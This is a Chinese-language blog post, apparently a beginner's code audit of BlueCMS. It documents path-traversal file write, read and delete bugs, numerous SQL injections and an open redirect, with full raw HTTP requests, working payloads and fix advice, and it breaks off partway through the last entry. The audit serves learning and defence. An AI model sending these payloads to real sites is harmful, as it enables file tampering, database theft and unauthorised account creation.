0基础入门 | bluecms前后台代码审计

于 2024-03-21 14:45:00 发布
阅读量1k 收藏 17
点赞数 6
文章标签： 前端 服务器 网络 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_80127209/article/details/136900526
版权

后台篇

 

  1.  
    新手学习代码审计，记录审计成长过程，先从简单入手。
     
 

1、后台系统设置-模板管理编辑提交处存在任意文件写入
 

漏洞条件
 

 

  1.  
    ● 漏洞url:http://bulucms.com/admin/tpl_manage.php-[POST]:
     
  2.  
    tpl_content=&tpl_name=../../../3.php&act=do_edit
     
  3.  
    ● 漏洞参数：tpl_name
     
  4.  
    ● 是否存在限制：无
     
  5.  
    ● 是否还有其他条件：act=do_edit
     
 

复现
 

 

  1.  
    直接写一个php文件以及有危害的内容。(可实现跨目录写入)
     
 

 

  1.  
    POST /admin/tpl_manage.php HTTP/1.1
     
  2.  
    Host: bulucms.com
     
  3.  
    Content-Length: 72
     
  4.  
    Cache-Control: max-age=0
     
  5.  
    Upgrade-Insecure-Requests: 1
     
  6.  
    Origin: http://bulucms.com
     
  7.  
    Content-Type: application/x-www-form-urlencoded
     
  8.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  9.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  10.  
    Referer: http://bulucms.com/admin/tpl_manage.php?act=edit&tpl_name=ann.htm
     
  11.  
    Accept-Encoding: gzip, deflate
     
  12.  
    Accept-Language: zh-CN,zh;q=0.9
     
  13.  
    Cookie: PHPSESSID=8jtsuca31sj4t3umsm7o1o6eg7; detail=4
     
  14.  
    Connection: close
     
  15.  
     
  16.  
    tpl_content=&tpl_name=../../../3.php&act=do_edit
     
 

 

图片
 

代码
 

 

  1.  
    fopen( ,wb)如果文件存在直接写入，不存在就创建文件
     
 

 

图片
 

修复建议
 

 

  1.  
    限制用户输入、严格控制文件系统权限、验证上传文件类型和重命名、遵循安全编码规范、定期监控和清理、记录上传活动
     
 

2、后台系统设置—模板管理—编辑存在任意文件读取
 

漏洞条件
 

 

  1.  
    ● 漏洞url: http://bulucms.com/admin/tpl_manage.php?act=edit&tpl_name=../../data/config.php
     
  2.  
    ● 漏洞参数：tpl_name
     
  3.  
    ● 是否存在限制：无
     
  4.  
    ● 是否还有其他条件：act=edit
     
 

复现
 

 

  1.  
    GET /admin/tpl_manage.php?act=edit&tpl_name=../../data/config.php HTTP/1.1
     
  2.  
    Host: bulucms.com
     
  3.  
    Upgrade-Insecure-Requests: 1
     
  4.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  5.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  6.  
    Referer: http://bulucms.com/admin/tpl_manage.php
     
  7.  
    Accept-Encoding: gzip, deflate
     
  8.  
    Accept-Language: zh-CN,zh;q=0.9
     
  9.  
    Cookie: PHPSESSID=jpimqam7eiq12p051tp1p0ua81
     
  10.  
    Connection: close
     
 

 

图片
 

代码
 

 

  1.  
    fopen() 函数打开文件或者 URL。如果打开失败，本函数返回 FALSE。
     
  2.  
    get方式接受参数，接受一个文件没有过滤../，直接打开
     
 

 

图片
 

修复建议
 

 

  1.  
    修复任意文件读取漏洞：严格限制用户输入、实施有效的文件路径验证、避免动态拼接用户输入构建文件路径、限制访问权限、定期检查和清理、记录文件访问活动。
     
 

3、后台信息管理处存在任意文件删除
 

漏洞条件
 

 

  1.  
    ● 漏洞url:http://bulucms.com/admin/info.php?act=del_pic&id=../1.txt
     
  2.  
    ● 漏洞参数：id
     
  3.  
    ● 是否存在限制：无
     
  4.  
    ● 是否还有其他条件：act=del_pic
     
 

复现
 

 

  1.  
    GET /admin/info.php?act=del_pic&id=../1.txt HTTP/1.1
     
  2.  
    Host: bulucms.com
     
  3.  
    Upgrade-Insecure-Requests: 1
     
  4.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  5.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  6.  
    Referer: http://bulucms.com/admin/info.php?cid=3
     
  7.  
    Accept-Encoding: gzip, deflate
     
  8.  
    Accept-Language: zh-CN,zh;q=0.9
     
  9.  
    Cookie: PHPSESSID=bfco4tm9tbkvjjg9vfm24ups41
     
  10.  
    Connection: close
     
 

 

图片
 

代码
 

 

  1.  
    $_REQUEST可以GET也可以POST，二选一。执行后页面不会显示，但是文件会被删除
     
 

 

图片
 

修复建议
 

 

  1.  
    限制用户输入、验证和过滤文件路径、避免动态构建用户输入的删除路径、设置合适的文件权限、定期备份和监控文件删除活动。
     
 

4、后台友情链接处编辑存在任意文件删除
 

漏洞条件
 

 

  1.  
    ● 漏洞url: http://bulucms.com/admin/link.php-[POST]请求
     
  2.  
    ● 漏洞参数：link_logo2
     
  3.  
    ● 是否存在限制：无
     
  4.  
    ● 是否还有其他条件：link_logo要为空
     
 

 

  1.  
    POST /admin/link.php HTTP/1.1
     
  2.  
    Host: bulucms.com
     
  3.  
    Content-Length: 876
     
  4.  
    Cache-Control: max-age=0
     
  5.  
    Upgrade-Insecure-Requests: 1
     
  6.  
    Origin: http://bulucms.com
     
  7.  
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwt1w9JpF4JwggpA
     
  8.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  9.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  10.  
    Referer: http://bulucms.com/admin/link.php?act=edit&linkid=1
     
  11.  
    Accept-Encoding: gzip, deflate
     
  12.  
    Accept-Language: zh-CN,zh;q=0.9
     
  13.  
    Cookie: PHPSESSID=bfco4tm9tbkvjjg9vfm24ups41
     
  14.  
    Connection: close
     
  15.  
     
  16.  
    ------WebKitFormBoundarywwt1w9JpF4JwggpA
     
  17.  
    Content-Disposition: form-data; name="link_name"
     
  18.  
     
  19.  
    sax
     
  20.  
    ------WebKitFormBoundarywwt1w9JpF4JwggpA
     
  21.  
    Content-Disposition: form-data; name="link_site"
     
  22.  
     
  23.  
     
  24.  
    ------WebKitFormBoundarywwt1w9JpF4JwggpA
     
  25.  
    Content-Disposition: form-data; name="link_logo"
     
  26.  
     
  27.  
     
  28.  
    ------WebKitFormBoundarywwt1w9JpF4JwggpA
     
  29.  
    Content-Disposition: form-data; name="link_logo1"; filename=""
     
  30.  
    Content-Type: application/octet-stream
     
  31.  
     
  32.  
     
  33.  
    ------WebKitFormBoundarywwt1w9JpF4JwggpA
     
  34.  
    Content-Disposition: form-data; name="show_order"
     
  35.  
     
  36.  
    0
     
  37.  
    ------WebKitFormBoundarywwt1w9JpF4JwggpA
     
  38.  
    Content-Disposition: form-data; name="linkid"
     
  39.  
     
  40.  
    1
     
  41.  
    ------WebKitFormBoundarywwt1w9JpF4JwggpA
     
  42.  
    Content-Disposition: form-data; name="link_logo2"
     
  43.  
     
  44.  
    1.txt
     
  45.  
    ------WebKitFormBoundarywwt1w9JpF4JwggpA
     
  46.  
    Content-Disposition: form-data; name="act"
     
  47.  
     
  48.  
    do_edit
     
  49.  
    ------WebKitFormBoundarywwt1w9JpF4JwggpA--
     
 

 

图片
 

代码
 

 

  1.  
    如果link_logo不为空就进入第一个if，否则else直接删除$_POST['link_logo2']接收到的文件
     
 

 

图片
 

修复建议
 

 

  1.  
    限制用户输入、验证和过滤文件路径、避免动态构建用户输入的删除路径、设置合适的文件权限、定期备份和监控文件删除活动。
     
 

5、用户后台分类信息—发布分类信息存在任意文件删除
 

漏洞条件
 

 

  1.  
    ● 漏洞url:http://bulucms.com/publish.php?act=del_pic&id=2.txt
     
  2.  
    ● 漏洞参数：id
     
  3.  
    ● 是否存在限制：无
     
  4.  
    ● 是否还有其他条件：act=del_pic
     
 

复现
 

 

  1.  
    GET /publish.php?act=del_pic&id=2.txt HTTP/1.1
     
  2.  
    Host: bulucms.com
     
  3.  
    Upgrade-Insecure-Requests: 1
     
  4.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  5.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  6.  
    Referer: http://bulucms.com/publish.php?act=step2&cid=4
     
  7.  
    Accept-Encoding: gzip, deflate
     
  8.  
    Accept-Language: zh-CN,zh;q=0.9
     
  9.  
    Cookie: PHPSESSID=bfco4tm9tbkvjjg9vfm24ups41
     
  10.  
    Connection: close
     
 

 

图片
 

代码
 

 

  1.  
    接受id，判断文件是否存在，存在就直接删除
     
 

 

图片
 

修复建议
 

 

  1.  
    限制用户输入、验证和过滤文件路径、避免动态构建用户输入的删除路径、设置合适的文件权限、定期备份和监控文件删除活动。
     
 

后台篇sql注入
 

1、后台本地新闻处删除本地新闻存在sql注入
 

漏洞条件
 

 

  1.  
    ● 漏洞url:http://bulucms.com/admin/article.php?act=del&id=(select*from(select%2bsleep(3)union/**/select%2b1)a)
     
  2.  
    ● 漏洞参数：id
     
  3.  
    ● 是否存在限制：无
     
  4.  
    ● 是否还有其他条件：act=del
     
 

复现
 

 

  1.  
    payload: (select*from(select+sleep(3)union/**/select+1)a)
     
 

 

  1.  
    GET /admin/article.php?act=del&id=(select*from(select%2bsleep(3)union/**/select%2b1)a) HTTP/1.1
     
  2.  
    Host: bulucms.com
     
  3.  
    Upgrade-Insecure-Requests: 1
     
  4.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  5.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  6.  
    Referer: http://bulucms.com/admin/index.php?act=menu
     
  7.  
    Accept-Encoding: gzip, deflate
     
  8.  
    Accept-Language: zh-CN,zh;q=0.9
     
  9.  
    Cookie: PHPSESSID=qlq28anq5pcbcprri2gg4fit92
     
  10.  
    Connection: close
     
 

 

图片
 

代码
 

 

  1.  
    133行的id是已经强制类型转换了，但是132行的id没有任何过滤
     
 

 

图片
 

修复建议
 

 

  1.  
    将用户输入的内容验证和过滤，使用预编译或转义函数。
     
 

2、后台系统设置-操作日志管理删除处存在sql注入
 

漏洞条件
 

 

  1.  
    ● 漏洞url: http://bulucms.com/admin/admin_log.php-[POST]:checkboxes%5B%5D=%28select%2Afrom%28select%2Bsleep%282%29union%2F%2A%2A%2Fselect%2B1%29a%29&act=del
     
  2.  
    ● 漏洞参数：checkboxes、act
     
  3.  
    ● 是否存在限制：无
     
  4.  
    ● 是否还有其他条件：act=del
     
 

复现
 

 

  1.  
    payload：(select*from(select+sleep(2)union/**/select+1)a)
     
 

 

  1.  
    POST /admin/admin_log.php HTTP/1.1
     
  2.  
    Host: bulucms.com
     
  3.  
    Content-Length: 99
     
  4.  
    Cache-Control: max-age=0
     
  5.  
    Upgrade-Insecure-Requests: 1
     
  6.  
    Origin: http://bulucms.com
     
  7.  
    Content-Type: application/x-www-form-urlencoded
     
  8.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  9.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  10.  
    Referer: http://bulucms.com/admin/admin_log.php
     
  11.  
    Accept-Encoding: gzip, deflate
     
  12.  
    Accept-Language: zh-CN,zh;q=0.9
     
  13.  
    Cookie: PHPSESSID=qlq28anq5pcbcprri2gg4fit92
     
  14.  
    Connection: close
     
  15.  
     
  16.  
    checkboxes%5B%5D=%28select%2Afrom%28select%2Bsleep%282%29union%2F%2A%2A%2Fselect%2B1%29a%29&act=del
     
 

 

图片
 

代码
 

 

  1.  
    $_POST['checkboxes']判断是数组就键值分离，将值带入sql语句执行，没有任何过滤
     
 

 

图片
 

修复建议
 

 

  1.  
    将用户输入的内容验证和过滤，使用预编译或转义函数。
     
 

3、后台常用操作—导航管理—编辑存在sql注入
 

漏洞条件
 

 

  1.  
    ● 漏洞url:http://bulucms.com/admin/nav.php?act=edit&navid=1+or+sleep(0.5)
     
  2.  
    ● 漏洞参数：navid
     
  3.  
    ● 是否存在限制：无
     
  4.  
    ● 是否还有其他条件：act=edit
     
 

复现
 

 

  1.  
    GET /admin/nav.php?act=edit&navid=1+or+sleep(0.5) HTTP/1.1
     
  2.  
    Host: bulucms.com
     
  3.  
    Upgrade-Insecure-Requests: 1
     
  4.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  5.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  6.  
    Referer: http://bulucms.com/admin/nav.php
     
  7.  
    Accept-Encoding: gzip, deflate
     
  8.  
    Accept-Language: zh-CN,zh;q=0.9
     
  9.  
    Cookie: PHPSESSID=ppvkgqkq0f8o4er4e424b3e9h1
     
  10.  
    Connection: close
     
 

代码
 

 

  1.  
    接受的navid变量是直接拼接在数据库接受的，输入什么就会直接拼接sql查询语句取数据库查，没有任何过滤
     
 

 

图片
 

修复建议
 

 

  1.  
    将用户输入的内容验证和过滤，使用预编译或转义函数。
     
 

3、后台分类信息—模型管理—删除处存在sql注入
 

漏洞条件
 

 

  1.  
    ● 漏洞url:http://bulucms.com/admin/model.php?act=del&model_id=2+or+sleep(2)
     
  2.  
    ● 漏洞参数：model_id
     
  3.  
    ● 是否存在限制：无
     
  4.  
    ● 是否还有其他条件：act=del
     
 

复现
 

 

  1.  
    GET /admin/model.php?act=del&model_id=2+or+sleep(2) HTTP/1.1
     
  2.  
    Host: bulucms.com
     
  3.  
    Upgrade-Insecure-Requests: 1
     
  4.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  5.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  6.  
    Referer: http://bulucms.com/admin/index.php?act=menu
     
  7.  
    Accept-Encoding: gzip, deflate
     
  8.  
    Accept-Language: zh-CN,zh;q=0.9
     
  9.  
    Cookie: PHPSESSID=ppvkgqkq0f8o4er4e424b3e9h1
     
  10.  
    Connection: close
     
 

 

图片
 

代码
 

 

  1.  
    进入第三个条件语句，要让数据库里有数据才能删除成功，给model_id赋值
     
 

 

图片
 

修复建议
 

 

  1.  
    将用户输入的内容验证和过滤，使用预编译或转义函数。
     
 

4、后台分类信息—附加属性管理—删除存在sql注入
 

漏洞条件
 

 

  1.  
    ● 漏洞url: http://bulucms.com/admin/attachment.php?act=del&att_id=2+or+sleep(2)
     
  2.  
    ● 漏洞参数：att_id
     
  3.  
    ● 是否存在限制：无
     
  4.  
    ● 是否还有其他条件：act=del
     
 

复现
 

 

  1.  
    GET /admin/attachment.php?act=del&att_id=2+or+sleep(2) HTTP/1.1
     
  2.  
    Host: bulucms.com
     
  3.  
    Upgrade-Insecure-Requests: 1
     
  4.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  5.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  6.  
    Referer: http://bulucms.com/admin/attachment.php
     
  7.  
    Accept-Encoding: gzip, deflate
     
  8.  
    Accept-Language: zh-CN,zh;q=0.9
     
  9.  
    Cookie: PHPSESSID=ppvkgqkq0f8o4er4e424b3e9h1
     
  10.  
    Connection: close
     
 

代码
 

 

  1.  
    也是从拼接的sql语句里直接接受的参数变量没有任何过滤
     
 

 

图片
 

修复建议
 

 

  1.  
    将用户输入的内容验证和过滤，使用预编译或转义函数。
     
 

5、后台模块管理—广告管理—编辑存在sql注入
 

漏洞条件
 

 

  1.  
    ● 漏洞url： http://bulucms.com/admin/ad.php?act=edit&ad_id=3+or+sleep(0.5)
     
  2.  
    ● 漏洞参数：ad_id
     
  3.  
    ● 是否存在限制：无
     
  4.  
    ● 是否还有其他条件：act=edit；
     
 

复现
 

 

  1.  
    GET /admin/ad.php?act=edit&ad_id=3+or+sleep(0.5) HTTP/1.1
     
  2.  
    Host: bulucms.com
     
  3.  
    Upgrade-Insecure-Requests: 1
     
  4.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  5.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  6.  
    Referer: http://bulucms.com/admin/ad.php
     
  7.  
    Accept-Encoding: gzip, deflate
     
  8.  
    Accept-Language: zh-CN,zh;q=0.9
     
  9.  
    Cookie: PHPSESSID=bl3qc9geb0lfhf4luh19ngs7h3
     
  10.  
    Connection: close
     
 

 

图片
 

代码
 

 

  1.  
    103行get接受参数ad_id。只判断是否存在值两边去除空没有任何过滤
     
 

 

图片
 

修复建议
 

 

  1.  
    将用户输入的内容验证和过滤，使用预编译或转义函数。
     
 

6、后台模块管理—电话广告位—编辑—提交更新存在sql注入
 

漏洞条件
 

 

  1.  
    ● 漏洞url: http://bulucms.com/admin/ad_phone.php-[POST]:content=mmm&title=qqq&color=ww&start_time=2023-11-24&end_time=&show_order=0&id=-1+or+sleep(4)&act=doedit
     
  2.  
    ● 漏洞参数：id
     
  3.  
    ● 是否存在限制： 无
     
  4.  
    ● 是否还有其他条件：content=mmm&start_time=2023-11-24&end_time=&show_order=0&id=1&act=doedit
     
 

复现
 

 

  1.  
    测试payload:+AND+8861%3d(SELECT+(CASE+WHEN+(8861%3d8861)+THEN+8861+ELSE+(SELECT+7440+UNION+SELECT+9681)+END))--+aSdk
     
  2.  
    8861=8861相等返回正常
     
 

 

  1.  
    POST /admin/ad_phone.php HTTP/1.1
     
  2.  
    Host: bulucms.com
     
  3.  
    Content-Length: 104
     
  4.  
    Cache-Control: max-age=0
     
  5.  
    Upgrade-Insecure-Requests: 1
     
  6.  
    Origin: http://bulucms.com
     
  7.  
    Content-Type: application/x-www-form-urlencoded
     
  8.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  9.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  10.  
    Referer: http://bulucms.com/admin/ad_phone.php?act=edit&id=1
     
  11.  
    Accept-Encoding: gzip, deflate
     
  12.  
    Accept-Language: zh-CN,zh;q=0.9
     
  13.  
    Cookie: PHPSESSID=bl3qc9geb0lfhf4luh19ngs7h3
     
  14.  
    Connection: close
     
  15.  
     
  16.  
    content=mmm&title=qqq&color=ww&start_time=2023-11-24&end_time=&show_order=0&id=-1+or+sleep(4)&act=doedit
     
 

 

图片
 

代码
 

 

  1.  
    只有id字段是直接post接受的而且是从sql语句中直接接受的，没有任何过滤
     
 

 

图片
 

修复建议
 

 

  1.  
    将用户输入的内容验证和过滤，使用预编译或转义函数。
     
 

7、后台模块管理—电话广告位—删除存在sql注入
 

漏洞条件
 

 

  1.  
    ● 漏洞url: http://bulucms.com/admin/ad_phone.php?act=del&id=1+or+sleep(1)
     
  2.  
    ● 漏洞参数：id
     
  3.  
    ● 是否存在限制： 无
     
  4.  
    ● 是否还有其他条件：act=del
     
 

复现
 

 

  1.  
    测试payload：+or+sleep(1)
     
 

 

图片
 

 

  1.  
    GET /admin/ad_phone.php?act=del&id=1+or+sleep(1) HTTP/1.1
     
  2.  
    Host: bulucms.com
     
  3.  
    Upgrade-Insecure-Requests: 1
     
  4.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  5.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  6.  
    Referer: http://bulucms.com/admin/ad_phone.php
     
  7.  
    Accept-Encoding: gzip, deflate
     
  8.  
    Accept-Language: zh-CN,zh;q=0.9
     
  9.  
    Cookie: PHPSESSID=bond49ch988jk55255s7082jg4
     
  10.  
    Connection: close
     
 

 

图片
 

代码
 

 

  1.  
    删除sql语句里直接用get方式接受没有任何过滤
     
 

 

图片
 

修复建议
 

 

  1.  
    将用户输入的内容验证和过滤，使用预编译或转义函数。
     
 

8、后台会员管理—会员列表—编辑和删除存在sql注入
 

漏洞条件
 

 

  1.  
    ● 漏洞url: http://bulucms.com/admin/user.php?act=edit&user_id=1+or+sleep(1)
     
  2.  
    ● 漏洞参数：user_id同一功能存在的漏洞参数一样
     
  3.  
    ● 是否存在限制： 无
     
  4.  
    ● 是否还有其他条件：act=edit
     
 

复现
 

 

  1.  
    GET /admin/user.php?act=edit&user_id=2+or+sleep(2) HTTP/1.1
     
  2.  
    Host: bulucms.com
     
  3.  
    Upgrade-Insecure-Requests: 1
     
  4.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  5.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  6.  
    Referer: http://bulucms.com/admin/user.php
     
  7.  
    Accept-Encoding: gzip, deflate
     
  8.  
    Accept-Language: zh-CN,zh;q=0.9
     
  9.  
    Cookie: PHPSESSID=jpimqam7eiq12p051tp1p0ua81
     
  10.  
    Connection: close
     
 

 

图片
 

代码
 

 

  1.  
    在sql语句里get方式接受user_id,没有任何过滤函数
     
 

 

图片
 


 post接受user_id值判断参数是否为空，没有过滤
 

 

图片
 

修复建议
 

 

  1.  
    将用户输入的内容验证和过滤，使用预编译或转义函数。
     
 

前端
 

1、前端注册邮箱处存在sql注入
 

漏洞条件
 

 

  1.  
    ● 漏洞url: http://bulucms.com/user.php-[POST]:referer=&user_name=fffff&pwd=1234567&pwd1=1234567&email=qq%40qqqq.com%df',1,1),(100,0x6162717765,md5(123456),(select+database()),1,1)%23&safecode=crht&from=&act=do_reg
     
  2.  
    ● 漏洞参数：email
     
  3.  
    ● 是否存在限制： safecode验证码需要随机
     
  4.  
    ● 是否还有其他条件： referer=&user_name=fffff&pwd=1234567&pwd1=1234567&email=&safecode=crht&from=&act=do_reg
     
 

复现
 

 

  1.  
    插入添加用户密码，并且查询数据库语句。发送后用插入的账号密码就可以登录，并且在邮箱处会显示数据库名
     
  2.  
    0x6162717765-->账号：abqwe-->密码：123456
     
  3.  
    payload：qq%40qqqq.com%df',1,1),(100,0x6162717765,md5(123456),(select+database()),1,1)%23
     
 

 

  1.  
    POST /user.php HTTP/1.1
     
  2.  
    Host: bulucms.com
     
  3.  
    Content-Length: 167
     
  4.  
    Cache-Control: max-age=0
     
  5.  
    Upgrade-Insecure-Requests: 1
     
  6.  
    Origin: http://bulucms.com
     
  7.  
    Content-Type: application/x-www-form-urlencoded
     
  8.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  9.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  10.  
    Referer: http://bulucms.com/user.php?act=reg
     
  11.  
    Accept-Encoding: gzip, deflate
     
  12.  
    Accept-Language: zh-CN,zh;q=0.9
     
  13.  
    Cookie: PHPSESSID=ft01h5kv1trnm4p90sjgqoe336
     
  14.  
    Connection: close
     
  15.  
     
  16.  
    referer=&user_name=fffff&pwd=1234567&pwd1=1234567&email=qq%40qqqq.com%df',1,1),(100,0x6162717765,md5(123456),(select+database()),1,1)%23&safecode=crht&from=&act=do_reg
     
 

 

图片
 

代码
 

 

图片
 

修复建议
 

 

  1.  
    将用户输入的内容验证和过滤，使用预编译或转义函数。
     
 

2、前端登录-密码存在sql注入
 

漏洞条件
 

 

  1.  
    ● 漏洞url: http://bulucms.com/user.php?act=index_login-[POST]:user_name=abqwe&pwd=1%df')+AND+(SELECT+6025+FROM+(SELECT(SLEEP(1)))qlmz)--+XAAZ&x=12&y=22
     
  2.  
    ● 漏洞参数：pwd
     
  3.  
    ● 是否存在限制： 无
     
  4.  
    ● 是否还有其他条件：act=index_login、user_name存在。x=12&y=22
     
 

复现
 

 

  1.  
    payload: %df') AND (SELECT 6025 FROM (SELECT(SLEEP(5)))qlmz)-- XAAZ
     
 

 

  1.  
    POST /user.php?act=index_login HTTP/1.1
     
  2.  
    Host: bulucms.com
     
  3.  
    Content-Length: 89
     
  4.  
    Cache-Control: max-age=0
     
  5.  
    Upgrade-Insecure-Requests: 1
     
  6.  
    Origin: http://bulucms.com
     
  7.  
    Content-Type: application/x-www-form-urlencoded
     
  8.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  9.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  10.  
    Referer: http://bulucms.com/index.php
     
  11.  
    Accept-Encoding: gzip, deflate
     
  12.  
    Accept-Language: zh-CN,zh;q=0.9
     
  13.  
    Cookie: PHPSESSID=ft01h5kv1trnm4p90sjgqoe336; detail=1
     
  14.  
    Connection: close
     
  15.  
     
  16.  
    user_name=abqwe&pwd=1%df')+AND+(SELECT+6025+FROM+(SELECT(SLEEP(1)))qlmz)--+XAAZ&x=12&y=22
     
 

 

图片
 

 

图片
 

代码
 

 

  1.  
    $pwd变量整体是md5加密，没有在单引号内，也没有其他的过滤
     
 

 

图片
 

 

图片
 

修复建议
 

 

  1.  
    将用户输入的内容验证和过滤，使用预编译或转义函数。
     
 

3、前端评论留言处存在sql注入
 

漏洞条件
 

 

  1.  
    ● 漏洞url:http://bulucms.com/comment.php?act=send-[POST]:mood=6&comment=2w2&id=25&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DB
     
  2.  
    ● 漏洞参数：X-Forwarded-For
     
  3.  
    ● 是否存在限制：需要伪造X-Forwarded-For
     
  4.  
    ● 是否还有其他条件：comment不为空，act=send
     
 

复现
 

 

  1.  
    payload：1' AND (SELECT 6327 FROM (SELECT(SLEEP(5)))okFV) AND 'gXCg'='gXCg
     
 

 

图片
 

 

  1.  
     
  2.  
    POST /comment.php?act=send HTTP/1.1
     
  3.  
    Host: bulucms.com
     
  4.  
    Content-Length: 63
     
  5.  
    Cache-Control: max-age=0
     
  6.  
    Upgrade-Insecure-Requests: 1
     
  7.  
    Origin: http://bulucms.com
     
  8.  
    Content-Type: application/x-www-form-urlencoded
     
  9.  
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
     
  10.  
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
     
  11.  
    Referer: http://bulucms.com/news.php?id=25
     
  12.  
    X-Forwarded-For:127.0.0.1' AND (SELECT 6327 FROM (SELECT(SLEEP(1)))okFV) AND 'gXCg'='gXCg
     
  13.  
    Accept-Encoding: gzip, deflate
     
  14.  
    Accept-Language: zh-CN,zh;q=0.9
     
  15.  
    Cookie: PHPSESSID=h1bk9mh2nr5erhnsshdbju0hs0
     
  16.  
    Connection: close
     
  17.  
     
  18.  
    mood=6&comment=2w2&id=25&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DB
     
 

 

图片
 

代码
 

 

  1.  
    虽然一些参数被限制了，但在sql语句里直接获取真实ip没有任何过滤
     
 

 

图片
 

 

图片
 

修复建议
 

 

  1.  
    将用户输入的内容验证和过滤，使用预编译或转义函数。
     
 

4、前端注册处存在url跳转
 

漏洞条件
 

 

  1.  
    ● 漏洞url: http://bulucms.com/user.php-[POST]:referer=&user_name=00000&pwd=098765&pwd1=098765&email=qq%40qqqq.com&safecode=bwvy&from=d3d3LmJhaWR1LmNvbQ==&act=do_login
     
  2.  
    ● 漏洞参数：from
     
  3.  
    ● 是否存在限制： from需要base64
     
  4.  
